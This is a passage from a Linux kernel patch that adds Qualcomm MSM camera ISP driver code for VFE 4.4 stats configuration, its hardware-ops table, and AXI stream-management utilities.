mask_bf_scale; + uint32_t i = 0; + atomic_t *stats_comp; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + + if (vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask > + MAX_NUM_STATS_COMP_MASK) { + pr_err("%s: num of comp masks %d exceed max %d\n", + __func__, + vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask, + MAX_NUM_STATS_COMP_MASK); + return; + } + + /* BF scale is controlled by BF also so ignore bit 0 of BF scale */ + stats_mask = stats_mask & 0x1FF; + mask_bf_scale = stats_mask >> SHIFT_BF_SCALE_BIT; + + for (i = 0; + i < vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; i++) { + stats_comp = &stats_data->stats_comp_mask[i]; + reg_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x44); + comp_stats_mask = reg_mask & (STATS_COMP_BIT_MASK << (i*8)); + + if (enable) { + if (comp_stats_mask) + continue; + + reg_mask |= (mask_bf_scale << (16 + i*8)); + atomic_add(stats_mask, stats_comp); + } else { + + if (stats_mask & (1 << STATS_IDX_BF_SCALE) && + atomic_read(stats_comp) & + (1 << STATS_IDX_BF_SCALE)) + atomic_sub((1 << STATS_IDX_BF_SCALE), + stats_comp); + + /* + * Check if comp mask in reg is valid + * and contains this stat + */ + + if (!comp_stats_mask || + !((comp_stats_mask >> (16 + i*8)) & + mask_bf_scale)) + continue; + + atomic_sub(stats_mask, stats_comp); + reg_mask &= ~(mask_bf_scale << (16 + i*8)); + } + ISP_DBG("%s: comp_mask: %x atomic stats[0]: %x %x\n", + __func__, reg_mask, + atomic_read(&stats_data->stats_comp_mask[0]), + atomic_read(&stats_data->stats_comp_mask[1])); + + msm_camera_io_w(reg_mask, vfe_dev->vfe_base + 0x44); + return; + } +} + +static void msm_vfe44_stats_cfg_wm_irq_mask( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask |= 1 << (STATS_IDX(stream_info->stream_handle) + 15); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe44_stats_clear_wm_irq_mask( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask &= ~(1 << (STATS_IDX(stream_info->stream_handle) + 15)); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe44_stats_cfg_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + int stats_idx = STATS_IDX(stream_info->stream_handle); + uint32_t stats_base = VFE44_STATS_BASE(stats_idx); + + /* BF_SCALE does not have its own WR_ADDR_CFG, + * IRQ_FRAMEDROP_PATTERN and IRQ_SUBSAMPLE_PATTERN; + * it's using the same from BF */ + if (stats_idx == STATS_IDX_BF_SCALE) + return; + /*WR_ADDR_CFG*/ + msm_camera_io_w(stream_info->framedrop_period << 2, + vfe_dev->vfe_base + stats_base + 0x8); + /*WR_IRQ_FRAMEDROP_PATTERN*/ + msm_camera_io_w(stream_info->framedrop_pattern, + vfe_dev->vfe_base + stats_base + 0x10); + /*WR_IRQ_SUBSAMPLE_PATTERN*/ + msm_camera_io_w(0xFFFFFFFF, + vfe_dev->vfe_base + stats_base + 0x14); +} + +static void msm_vfe44_stats_clear_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + uint32_t val = 0; + int stats_idx = STATS_IDX(stream_info->stream_handle); + uint32_t stats_base = VFE44_STATS_BASE(stats_idx); + /* BF_SCALE does not have its own WR_ADDR_CFG, + * IRQ_FRAMEDROP_PATTERN and IRQ_SUBSAMPLE_PATTERN; + * it's using the same from BF */ + if (stats_idx == STATS_IDX_BF_SCALE) + return; + + /*WR_ADDR_CFG*/ + msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x8); + /*WR_IRQ_FRAMEDROP_PATTERN*/ + msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x10); + /*WR_IRQ_SUBSAMPLE_PATTERN*/ + msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x14); +} + +static void msm_vfe44_stats_cfg_ub(struct vfe_device *vfe_dev) +{ + int i; + uint32_t ub_offset = VFE44_UB_SIZE; + uint32_t ub_size[VFE44_NUM_STATS_TYPE] = { + 128, /*MSM_ISP_STATS_BF_SCALE*/ + 64, /*MSM_ISP_STATS_BE*/ + 128, /*MSM_ISP_STATS_BG*/ + 128, /*MSM_ISP_STATS_BF*/ + 16, /*MSM_ISP_STATS_AWB*/ + 8, /*MSM_ISP_STATS_RS*/ + 16, /*MSM_ISP_STATS_CS*/ + 16, /*MSM_ISP_STATS_IHIST*/ + 16, /*MSM_ISP_STATS_BHIST*/ + }; + + for (i = 0; i < VFE44_NUM_STATS_TYPE; i++) { + ub_offset -= ub_size[i]; + msm_camera_io_w(VFE44_STATS_BURST_LEN << 30 | + ub_offset << 16 | (ub_size[i] - 1), + vfe_dev->vfe_base + VFE44_STATS_BASE(i) + + ((i == STATS_IDX_BF_SCALE) ? 0x8 : 0xC)); + } +} + +static void msm_vfe44_stats_enable_module(struct vfe_device *vfe_dev, + uint32_t stats_mask, uint8_t enable) +{ + int i; + uint32_t module_cfg, module_cfg_mask = 0; + uint32_t stats_cfg, stats_cfg_mask = 0; + + for (i = 0; i < VFE44_NUM_STATS_TYPE; i++) { + if ((stats_mask >> i) & 0x1) { + switch (i) { + case STATS_IDX_BE: + case STATS_IDX_BG: + case STATS_IDX_BF: + case STATS_IDX_AWB: + case STATS_IDX_RS: + case STATS_IDX_CS: + module_cfg_mask |= 1 << (4 + i); + break; + case STATS_IDX_IHIST: + module_cfg_mask |= 1 << 15; + break; + case STATS_IDX_BHIST: + module_cfg_mask |= 1 << 18; + break; + case STATS_IDX_BF_SCALE: + stats_cfg_mask |= 1 << 2; + break; + default: + pr_err("%s: Invalid stats mask\n", __func__); + return; + } + } + } + + module_cfg = msm_camera_io_r(vfe_dev->vfe_base + 0x18); + if (enable) + module_cfg |= module_cfg_mask; + else + module_cfg &= ~module_cfg_mask; + msm_camera_io_w(module_cfg, vfe_dev->vfe_base + 0x18); + + stats_cfg = msm_camera_io_r(vfe_dev->vfe_base + 0x888); + if (enable) + stats_cfg |= stats_cfg_mask; + else + stats_cfg &= ~stats_cfg_mask; + msm_camera_io_w(stats_cfg, vfe_dev->vfe_base + 0x888); +} + +static void msm_vfe44_stats_update_ping_pong_addr( + struct vfe_device *vfe_dev, struct msm_vfe_stats_stream *stream_info, + uint32_t pingpong_status, dma_addr_t paddr) +{ + uint32_t paddr32 = (paddr & 0xFFFFFFFF); + int stats_idx = STATS_IDX(stream_info->stream_handle); + msm_camera_io_w(paddr32, vfe_dev->vfe_base + + VFE44_STATS_PING_PONG_BASE(stats_idx, pingpong_status)); +} + +static uint32_t msm_vfe44_stats_get_wm_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 15) & 0x1FF; +} + +static uint32_t msm_vfe44_stats_get_comp_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 29) & 0x3; +} + +static uint32_t msm_vfe44_stats_get_frame_id( + struct vfe_device *vfe_dev) +{ + uint32_t session_id = 0; + session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; + return vfe_dev->axi_data.frame_id[session_id]; +} + +static int msm_vfe44_get_platform_data(struct vfe_device *vfe_dev) +{ + int rc = 0; + vfe_dev->vfe_mem = platform_get_resource_byname(vfe_dev->pdev, + IORESOURCE_MEM, "vfe"); + if (!vfe_dev->vfe_mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->vfe_vbif_mem = platform_get_resource_byname( + vfe_dev->pdev, + IORESOURCE_MEM, "vfe_vbif"); + if (!vfe_dev->vfe_vbif_mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->vfe_irq = platform_get_resource_byname(vfe_dev->pdev, + IORESOURCE_IRQ, "vfe"); + if (!vfe_dev->vfe_irq) { + pr_err("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->fs_vfe = regulator_get(&vfe_dev->pdev->dev, "vdd"); + if (IS_ERR(vfe_dev->fs_vfe)) { + pr_err("%s: Regulator get failed %ld\n", __func__, + PTR_ERR(vfe_dev->fs_vfe)); + vfe_dev->fs_vfe = NULL; + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->iommu_ctx[0] = msm_iommu_get_ctx("vfe"); + if (!vfe_dev->iommu_ctx[0]) { + pr_err("%s: cannot get iommu_ctx\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + +vfe_no_resource: + return rc; +} + +static void msm_vfe44_get_error_mask( + uint32_t *error_mask0, uint32_t *error_mask1) +{ + *error_mask0 = 0x00000000; + *error_mask1 = 0x01FFFEFF; +} + +static int msm_vfe44_get_reg_update(uint32_t irq0_status, + uint32_t irq1_statuss) +{ + int rc = 0; + if (irq0_status & 0xF0) + rc = 1; + return rc; +} + +static struct msm_vfe_axi_hardware_info msm_vfe44_axi_hw_info = { + .num_wm = 5, + .num_comp_mask = 3, + .num_rdi = 3, + .num_rdi_master = 3, + .min_wm_ub = 64, +}; + +static struct msm_vfe_stats_hardware_info msm_vfe44_stats_hw_info = { + .stats_capability_mask = + 1 << MSM_ISP_STATS_BE | 1 << MSM_ISP_STATS_BF | + 1 << MSM_ISP_STATS_BG | 1 << MSM_ISP_STATS_BHIST | + 1 << MSM_ISP_STATS_AWB | 1 << MSM_ISP_STATS_IHIST | + 1 << MSM_ISP_STATS_RS | 1 << MSM_ISP_STATS_CS | + 1 << MSM_ISP_STATS_BF_SCALE, + .stats_ping_pong_offset = stats_pingpong_offset_map, + .num_stats_type = VFE44_NUM_STATS_TYPE, + .num_stats_comp_mask = VFE44_NUM_STATS_COMP, +}; + +static struct v4l2_subdev_core_ops msm_vfe44_subdev_core_ops = { + .ioctl = msm_isp_ioctl, + .subscribe_event = msm_isp_subscribe_event, + .unsubscribe_event = msm_isp_unsubscribe_event, +}; + +static struct v4l2_subdev_ops msm_vfe44_subdev_ops = { + .core = &msm_vfe44_subdev_core_ops, +}; + +static struct v4l2_subdev_internal_ops msm_vfe44_internal_ops = { + .open = msm_isp_open_node, + .close = msm_isp_close_node, +}; + +struct msm_vfe_hardware_info vfe44_hw_info = { + .num_iommu_ctx = 1, + .vfe_clk_idx = VFE44_CLK_IDX, + .vfe_ops = { + .irq_ops = { + .read_irq_status = msm_vfe44_read_irq_status, + .process_camif_irq = msm_vfe44_process_camif_irq, + .process_reset_irq = msm_vfe44_process_reset_irq, + .process_halt_irq = msm_vfe44_process_halt_irq, + .process_reset_irq = msm_vfe44_process_reset_irq, + .process_reg_update = msm_vfe44_process_reg_update, + .process_axi_irq = msm_isp_process_axi_irq, + .process_stats_irq = msm_isp_process_stats_irq, + }, + .axi_ops = { + .reload_wm = msm_vfe44_axi_reload_wm, + .enable_wm = msm_vfe44_axi_enable_wm, + .cfg_io_format = msm_vfe44_cfg_io_format, + .cfg_comp_mask = msm_vfe44_axi_cfg_comp_mask, + .clear_comp_mask = msm_vfe44_axi_clear_comp_mask, + .cfg_wm_irq_mask = msm_vfe44_axi_cfg_wm_irq_mask, + .clear_wm_irq_mask = msm_vfe44_axi_clear_wm_irq_mask, + .cfg_framedrop = msm_vfe44_cfg_framedrop, + .clear_framedrop = msm_vfe44_clear_framedrop, + .cfg_wm_reg = msm_vfe44_axi_cfg_wm_reg, + .clear_wm_reg = msm_vfe44_axi_clear_wm_reg, + .cfg_wm_xbar_reg = msm_vfe44_axi_cfg_wm_xbar_reg, + .clear_wm_xbar_reg = msm_vfe44_axi_clear_wm_xbar_reg, + .cfg_ub = msm_vfe44_cfg_axi_ub, + .update_ping_pong_addr = + msm_vfe44_update_ping_pong_addr, + .get_comp_mask = msm_vfe44_get_comp_mask, + .get_wm_mask = msm_vfe44_get_wm_mask, + .get_pingpong_status = msm_vfe44_get_pingpong_status, + .halt = msm_vfe44_axi_halt, + }, + .core_ops = { + .reg_update = msm_vfe44_reg_update, + .cfg_camif = msm_vfe44_cfg_camif, + .update_camif_state = msm_vfe44_update_camif_state, + .cfg_rdi_reg = msm_vfe44_cfg_rdi_reg, + .reset_hw = msm_vfe44_reset_hardware, + .init_hw = msm_vfe44_init_hardware, + .init_hw_reg = msm_vfe44_init_hardware_reg, + .release_hw = msm_vfe44_release_hardware, + .get_platform_data = msm_vfe44_get_platform_data, + .get_error_mask = msm_vfe44_get_error_mask, + .process_error_status = msm_vfe44_process_error_status, + .get_regupdate_status = msm_vfe44_get_reg_update, + }, + .stats_ops = { + .get_stats_idx = msm_vfe44_get_stats_idx, + .check_streams = msm_vfe44_stats_check_streams, + .cfg_comp_mask = msm_vfe44_stats_cfg_comp_mask, + .cfg_wm_irq_mask = msm_vfe44_stats_cfg_wm_irq_mask, + .clear_wm_irq_mask = msm_vfe44_stats_clear_wm_irq_mask, + .cfg_wm_reg = msm_vfe44_stats_cfg_wm_reg, + .clear_wm_reg = msm_vfe44_stats_clear_wm_reg, + .cfg_ub = msm_vfe44_stats_cfg_ub, + .enable_module = msm_vfe44_stats_enable_module, + .update_ping_pong_addr = + msm_vfe44_stats_update_ping_pong_addr, + .get_comp_mask = msm_vfe44_stats_get_comp_mask, + .get_wm_mask = msm_vfe44_stats_get_wm_mask, + .get_frame_id = msm_vfe44_stats_get_frame_id, + .get_pingpong_status = msm_vfe44_get_pingpong_status, + }, + }, + .dmi_reg_offset = 0x918, + .axi_hw_info = &msm_vfe44_axi_hw_info, + .stats_hw_info = &msm_vfe44_stats_hw_info, + .subdev_ops = &msm_vfe44_subdev_ops, + .subdev_internal_ops = &msm_vfe44_internal_ops, +}; +EXPORT_SYMBOL(vfe44_hw_info); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.h new file mode 100644 index 0000000000000..7bd630d4ef4d2 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.h @@ -0,0 +1,17 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_ISP44_H__ +#define __MSM_ISP44_H__ + +extern struct msm_vfe_hardware_info vfe44_hw_info; +#endif /* __MSM_ISP44_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c new file mode 100644 index 0000000000000..dbd9995df3e12 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c @@ -0,0 +1,1739 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#include +#include +#include +#include "msm_isp_util.h" +#include "msm_isp_axi_util.h" +#include "msm_camera_io_util.h" + +#define SRC_TO_INTF(src) \ + ((src < RDI_INTF_0) ? VFE_PIX_0 : \ + (VFE_RAW_0 + src - RDI_INTF_0)) + +#define HANDLE_TO_IDX(handle) (handle & 0xFF) + +#define MSM_ISP_MIN_AB 450000000 +#define MSM_ISP_MIN_IB 900000000 + +int msm_isp_axi_create_stream( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd) +{ + int i, rc = -1; + for (i = 0; i < MAX_NUM_STREAM; i++) { + if (axi_data->stream_info[i].state == AVALIABLE) + break; + } + + if (i == MAX_NUM_STREAM) { + pr_err("%s: No free stream\n", __func__); + return rc; + } + + if ((axi_data->stream_handle_cnt << 8) == 0) + axi_data->stream_handle_cnt++; + + stream_cfg_cmd->axi_stream_handle = + (++axi_data->stream_handle_cnt) << 8 | i; + + memset(&axi_data->stream_info[i], 0, + sizeof(struct msm_vfe_axi_stream)); + spin_lock_init(&axi_data->stream_info[i].lock); + axi_data->stream_info[i].session_id = stream_cfg_cmd->session_id; + axi_data->stream_info[i].stream_id = stream_cfg_cmd->stream_id; + axi_data->stream_info[i].buf_divert = stream_cfg_cmd->buf_divert; + axi_data->stream_info[i].state = INACTIVE; + axi_data->stream_info[i].stream_handle = + stream_cfg_cmd->axi_stream_handle; + return 0; +} + +void msm_isp_axi_destroy_stream( + struct msm_vfe_axi_shared_data *axi_data, int stream_idx) +{ + if (axi_data->stream_info[stream_idx].state != AVALIABLE) { + axi_data->stream_info[stream_idx].state = AVALIABLE; + axi_data->stream_info[stream_idx].stream_handle = 0; + } else { + pr_err("%s: stream does not exist\n", __func__); + } +} + +int msm_isp_validate_axi_request(struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd) +{ + int rc = -1, i; + struct msm_vfe_axi_stream *stream_info = NULL; + if (HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle) < MAX_NUM_STREAM) { + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle)]; + } else { + pr_err("%s: Invalid axi_stream_handle\n", __func__); + return rc; + } + switch (stream_cfg_cmd->output_format) { + case V4L2_PIX_FMT_YUYV: + case V4L2_PIX_FMT_YVYU: + case V4L2_PIX_FMT_UYVY: + case V4L2_PIX_FMT_VYUY: + case V4L2_PIX_FMT_SBGGR8: + case V4L2_PIX_FMT_SGBRG8: + case V4L2_PIX_FMT_SGRBG8: + case V4L2_PIX_FMT_SRGGB8: + case V4L2_PIX_FMT_SBGGR10: + case V4L2_PIX_FMT_SGBRG10: + case V4L2_PIX_FMT_SGRBG10: + case V4L2_PIX_FMT_SRGGB10: + case V4L2_PIX_FMT_SBGGR12: + case V4L2_PIX_FMT_SGBRG12: + case V4L2_PIX_FMT_SGRBG12: + case V4L2_PIX_FMT_SRGGB12: + case V4L2_PIX_FMT_QBGGR8: + case V4L2_PIX_FMT_QGBRG8: + case V4L2_PIX_FMT_QGRBG8: + case V4L2_PIX_FMT_QRGGB8: + case V4L2_PIX_FMT_QBGGR10: + case V4L2_PIX_FMT_QGBRG10: + case V4L2_PIX_FMT_QGRBG10: + case V4L2_PIX_FMT_QRGGB10: + case V4L2_PIX_FMT_QBGGR12: + case V4L2_PIX_FMT_QGBRG12: + case V4L2_PIX_FMT_QGRBG12: + case V4L2_PIX_FMT_QRGGB12: + case V4L2_PIX_FMT_JPEG: + case V4L2_PIX_FMT_META: + stream_info->num_planes = 1; + stream_info->format_factor = ISP_Q2; + break; + case V4L2_PIX_FMT_NV12: + case V4L2_PIX_FMT_NV21: + case V4L2_PIX_FMT_NV14: + case V4L2_PIX_FMT_NV41: + case V4L2_PIX_FMT_NV16: + case V4L2_PIX_FMT_NV61: + stream_info->num_planes = 2; + stream_info->format_factor = 1.5 * ISP_Q2; + break; + /*TD: Add more image format*/ + default: + pr_err("%s: Invalid output format\n", __func__); + return rc; + } + + if (axi_data->hw_info->num_wm - axi_data->num_used_wm < + stream_info->num_planes) { + pr_err("%s: No free write masters\n", __func__); + return rc; + } + + if ((stream_info->num_planes > 1) && + (axi_data->hw_info->num_comp_mask - + axi_data->num_used_composite_mask < 1)) { + pr_err("%s: No free composite mask\n", __func__); + return rc; + } + + if (stream_cfg_cmd->init_frame_drop >= MAX_INIT_FRAME_DROP) { + pr_err("%s: Invalid skip pattern\n", __func__); + return rc; + } + + if (stream_cfg_cmd->frame_skip_pattern >= MAX_SKIP) { + pr_err("%s: Invalid skip pattern\n", __func__); + return rc; + } + + for (i = 0; i < stream_info->num_planes; i++) { + stream_info->plane_cfg[i] = stream_cfg_cmd->plane_cfg[i]; + stream_info->max_width = max(stream_info->max_width, + stream_cfg_cmd->plane_cfg[i].output_width); + } + + stream_info->output_format = stream_cfg_cmd->output_format; + stream_info->runtime_output_format = stream_info->output_format; + stream_info->stream_src = stream_cfg_cmd->stream_src; + stream_info->frame_based = stream_cfg_cmd->frame_base; + return 0; +} + +static uint32_t msm_isp_axi_get_plane_size( + struct msm_vfe_axi_stream *stream_info, int plane_idx) +{ + uint32_t size = 0; + struct msm_vfe_axi_plane_cfg *plane_cfg = stream_info->plane_cfg; + switch (stream_info->output_format) { + case V4L2_PIX_FMT_YUYV: + case V4L2_PIX_FMT_YVYU: + case V4L2_PIX_FMT_UYVY: + case V4L2_PIX_FMT_VYUY: + case V4L2_PIX_FMT_SBGGR8: + case V4L2_PIX_FMT_SGBRG8: + case V4L2_PIX_FMT_SGRBG8: + case V4L2_PIX_FMT_SRGGB8: + case V4L2_PIX_FMT_QBGGR8: + case V4L2_PIX_FMT_QGBRG8: + case V4L2_PIX_FMT_QGRBG8: + case V4L2_PIX_FMT_QRGGB8: + case V4L2_PIX_FMT_JPEG: + case V4L2_PIX_FMT_META: + size = plane_cfg[plane_idx].output_height * + plane_cfg[plane_idx].output_width; + break; + case V4L2_PIX_FMT_SBGGR10: + case V4L2_PIX_FMT_SGBRG10: + case V4L2_PIX_FMT_SGRBG10: + case V4L2_PIX_FMT_SRGGB10: + case V4L2_PIX_FMT_QBGGR10: + case V4L2_PIX_FMT_QGBRG10: + case V4L2_PIX_FMT_QGRBG10: + case V4L2_PIX_FMT_QRGGB10: + /* TODO: fix me */ + size = plane_cfg[plane_idx].output_height * + plane_cfg[plane_idx].output_width; + break; + case V4L2_PIX_FMT_SBGGR12: + case V4L2_PIX_FMT_SGBRG12: + case V4L2_PIX_FMT_SGRBG12: + case V4L2_PIX_FMT_SRGGB12: + case V4L2_PIX_FMT_QBGGR12: + case V4L2_PIX_FMT_QGBRG12: + case V4L2_PIX_FMT_QGRBG12: + case V4L2_PIX_FMT_QRGGB12: + /* TODO: fix me */ + size = plane_cfg[plane_idx].output_height * + plane_cfg[plane_idx].output_width; + break; + case V4L2_PIX_FMT_NV12: + case V4L2_PIX_FMT_NV21: + if (plane_cfg[plane_idx].output_plane_format == Y_PLANE) + size = plane_cfg[plane_idx].output_height * + plane_cfg[plane_idx].output_width; + else + size = plane_cfg[plane_idx].output_height * + plane_cfg[plane_idx].output_width; + break; + case V4L2_PIX_FMT_NV14: + case V4L2_PIX_FMT_NV41: + if (plane_cfg[plane_idx].output_plane_format == Y_PLANE) + size = plane_cfg[plane_idx].output_height * + plane_cfg[plane_idx].output_width; + else + size = plane_cfg[plane_idx].output_height * + plane_cfg[plane_idx].output_width; + break; + case V4L2_PIX_FMT_NV16: + case V4L2_PIX_FMT_NV61: + size = plane_cfg[plane_idx].output_height * + plane_cfg[plane_idx].output_width; + break; + /*TD: Add more image format*/ + default: + pr_err("%s: Invalid output format\n", __func__); + break; + } + return size; +} + +void msm_isp_axi_reserve_wm(struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream *stream_info) +{ + int i, j; + for (i = 0; i < stream_info->num_planes; i++) { + for (j = 0; j < axi_data->hw_info->num_wm; j++) { + if (!axi_data->free_wm[j]) { + axi_data->free_wm[j] = + stream_info->stream_handle; + axi_data->wm_image_size[j] = + msm_isp_axi_get_plane_size( + stream_info, i); + axi_data->num_used_wm++; + break; + } + } + stream_info->wm[i] = j; + } +} + +void msm_isp_axi_free_wm(struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream *stream_info) +{ + int i; + for (i = 0; i < stream_info->num_planes; i++) { + axi_data->free_wm[stream_info->wm[i]] = 0; + axi_data->num_used_wm--; + } +} + +void msm_isp_axi_reserve_comp_mask( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream *stream_info) +{ + int i; + uint8_t comp_mask = 0; + for (i = 0; i < stream_info->num_planes; i++) + comp_mask |= 1 << stream_info->wm[i]; + + for (i = 0; i < axi_data->hw_info->num_comp_mask; i++) { + if (!axi_data->composite_info[i].stream_handle) { + axi_data->composite_info[i].stream_handle = + stream_info->stream_handle; + axi_data->composite_info[i]. + stream_composite_mask = comp_mask; + axi_data->num_used_composite_mask++; + break; + } + } + stream_info->comp_mask_index = i; + return; +} + +void msm_isp_axi_free_comp_mask(struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream *stream_info) +{ + axi_data->composite_info[stream_info->comp_mask_index]. + stream_composite_mask = 0; + axi_data->composite_info[stream_info->comp_mask_index]. + stream_handle = 0; + axi_data->num_used_composite_mask--; +} + +int msm_isp_axi_get_bufq_handles( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + int rc = 0; + + if (stream_info->stream_id & ISP_SCRATCH_BUF_BIT) { + stream_info->bufq_handle = + vfe_dev->buf_mgr->ops->get_bufq_handle( + vfe_dev->buf_mgr, stream_info->session_id, + stream_info->stream_id & ~ISP_SCRATCH_BUF_BIT); + if (stream_info->bufq_handle == 0) { + pr_err("%s: Stream 0x%x has no valid buffer queue\n", + __func__, (unsigned int)stream_info->stream_id); + rc = -EINVAL; + return rc; + } + + stream_info->bufq_scratch_handle = + vfe_dev->buf_mgr->ops->get_bufq_handle( + vfe_dev->buf_mgr, stream_info->session_id, + stream_info->stream_id); + if (stream_info->bufq_scratch_handle == 0) { + pr_err("%s: Stream 0x%x has no valid buffer queue\n", + __func__, (unsigned int)stream_info->stream_id); + rc = -EINVAL; + return rc; + } + } else { + stream_info->bufq_handle = + vfe_dev->buf_mgr->ops->get_bufq_handle( + vfe_dev->buf_mgr, stream_info->session_id, + stream_info->stream_id); + if (stream_info->bufq_handle == 0) { + pr_err("%s: Stream 0x%x has no valid buffer queue\n", + __func__, (unsigned int)stream_info->stream_id); + rc = -EINVAL; + return rc; + } + } + return rc; +} + +int msm_isp_axi_check_stream_state( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd) +{ + int rc = 0, i; + unsigned long flags; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + struct msm_vfe_axi_stream *stream_info; + enum msm_vfe_axi_state valid_state = + (stream_cfg_cmd->cmd == START_STREAM) ? INACTIVE : ACTIVE; + + if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) + return -EINVAL; + + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) + > MAX_NUM_STREAM) { + return -EINVAL; + } + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; + spin_lock_irqsave(&stream_info->lock, flags); + if (stream_info->state != valid_state) { + if ((stream_info->state == PAUSING || + stream_info->state == PAUSED || + stream_info->state == RESUME_PENDING || + stream_info->state == RESUMING) && + (stream_cfg_cmd->cmd == STOP_STREAM || + stream_cfg_cmd->cmd == STOP_IMMEDIATELY)) { + stream_info->state = ACTIVE; + } else { + pr_err("%s: Invalid stream state: %d\n", + __func__, stream_info->state); + spin_unlock_irqrestore( + &stream_info->lock, flags); + rc = -EINVAL; + break; + } + } + spin_unlock_irqrestore(&stream_info->lock, flags); + + if (stream_cfg_cmd->cmd == START_STREAM) { + rc = msm_isp_axi_get_bufq_handles(vfe_dev, stream_info); + if (rc) + break; + } + } + return rc; +} + +void msm_isp_update_framedrop_reg(struct vfe_device *vfe_dev) +{ + int i; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + struct msm_vfe_axi_stream *stream_info; + for (i = 0; i < MAX_NUM_STREAM; i++) { + stream_info = &axi_data->stream_info[i]; + if (stream_info->state != ACTIVE) + continue; + + if (stream_info->runtime_framedrop_update) { + stream_info->runtime_init_frame_drop--; + if (stream_info->runtime_init_frame_drop == 0) { + stream_info->runtime_framedrop_update = 0; + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_framedrop(vfe_dev, stream_info); + } + } + if (stream_info->stream_type == BURST_STREAM) { + stream_info->runtime_burst_frame_count--; + if (stream_info->runtime_burst_frame_count == 0) { + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_framedrop(vfe_dev, stream_info); + vfe_dev->hw_info->vfe_ops.core_ops. + reg_update(vfe_dev); + } + } + } +} + +static void msm_isp_reset_framedrop(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + stream_info->runtime_init_frame_drop = stream_info->init_frame_drop; + stream_info->runtime_burst_frame_count = + stream_info->burst_frame_count; + stream_info->runtime_num_burst_capture = + stream_info->num_burst_capture; + stream_info->runtime_framedrop_update = stream_info->framedrop_update; + vfe_dev->hw_info->vfe_ops.axi_ops.cfg_framedrop(vfe_dev, stream_info); +} + +void msm_isp_sof_notify(struct vfe_device *vfe_dev, + enum msm_vfe_input_src frame_src, struct msm_isp_timestamp *ts) { + struct msm_isp_event_data sof_event; + uint32_t session_id; + + session_id = vfe_dev->axi_data.src_info[frame_src].session_id; + if (!(vfe_dev->axi_data.session_frame_src_mask[session_id] + & (1 << frame_src))) { + pr_err("%s: Ignoring the Sof for the sourece INTF %d\n", + __func__, (1 << frame_src)); + return; + } + vfe_dev->axi_data.current_frame_src_mask[session_id] |= + 